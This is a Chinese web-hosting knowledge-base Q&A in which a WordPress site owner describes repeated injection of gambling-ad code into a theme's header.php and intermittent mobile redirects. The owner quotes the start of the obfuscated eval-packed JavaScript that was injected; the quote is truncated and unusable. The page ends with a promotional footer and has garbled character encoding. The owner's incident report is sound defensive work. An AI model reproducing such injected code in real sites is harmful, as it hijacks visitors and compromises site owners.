問：后臺提示被掛馬，內(nèi)容如下（對應(yīng)的文件是/2162.html/index.html.bak）： 03:37:59)網(wǎng)站因存在木馬（特征: 熱血傳奇，路徑：wp-content/cache/supercache/www.tvtv.hk/archives/2162.html/index.html5月1日左右也有類似提示，發(fā)現(xiàn)/www/wp-content/themes/minty/header.php被加入代碼（葡京在線的廣告，見文末），刪除后將所有/minty/目錄下的文件全部設(shè)置為只讀。今天又提示被掛馬，雖然header.php沒有被修改，但我知道木馬肯定沒清理干凈。前幾天，我還將數(shù)據(jù)庫和根目錄下所有文件復(fù)制到一個新的云主機(jī)下，更換域名（www.qupc.net），目錄可讀可寫，關(guān)閉WP Super Cache緩存插件，發(fā)現(xiàn)過了幾天header.php自動被寫入上次一樣的代碼。除了文件頭被修改，用手機(jī)瀏覽網(wǎng)站，有時會自動跳轉(zhuǎn)到廣告網(wǎng)站，而且只有第一次瀏覽會跳轉(zhuǎn)，然后過幾天才能再跳轉(zhuǎn)，試了電信、移動都是如此，換手機(jī)也是一樣。（網(wǎng)址沒記，好像每次都不一樣）。
< type=\”text/javascript\”>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?\”\”:e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!\’\’.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){r
問：這么說熱血傳奇是誤報了，可是被篡改為什么查不出？我換了服務(wù)器都沒用，太不尋常了吧截圖為header.php第一次被篡改的時間：2018?年?5?月?1?日，??23:24:36。之后我將header.php設(shè)為只讀，雖然沒有再被篡改，但是今天的百度搜索依然出現(xiàn)了異常。而且換服務(wù)器換域名后，header.php一旦改回可讀可寫，還是會被篡改，可見還是有問題的。
問：補(bǔ)充一點(diǎn)，對比了一下FTP和后臺管理器的時間，發(fā)現(xiàn)相差8小時，我本地保留的header.php是從FTP下載的，顯示的也是FTP時間，那么header.php真正的修改時間應(yīng)該是5月1日15：24：36
截止目前，已經(jīng)為超過2000萬個域名提供了注冊、解析等服務(wù)，是中國五星級域名注冊注冊商！已為超過50萬個網(wǎng)站提供了高速穩(wěn)定的云托管服務(wù)，獲評中國最受用戶喜歡云主機(jī)服務(wù)商。
西部數(shù)碼提供全方位7X24H專業(yè)售后支撐，域名注冊特價1元起，高速穩(wěn)定云主機(jī)45元起，更多詳情請瀏覽西部數(shù)碼官網(wǎng)：http://youyuetrip.com/
聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以原創(chuàng)、轉(zhuǎn)載和分享網(wǎng)絡(luò)內(nèi)容為主，如果涉及侵權(quán)請盡快告知，我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-62778877-8306；郵箱：fanjiao@west.cn。本站原創(chuàng)內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時需注明出處：
西部數(shù)碼知識庫 »
最近經(jīng)常提示網(wǎng)站被掛馬-虛擬主機(jī)/數(shù)據(jù)庫問題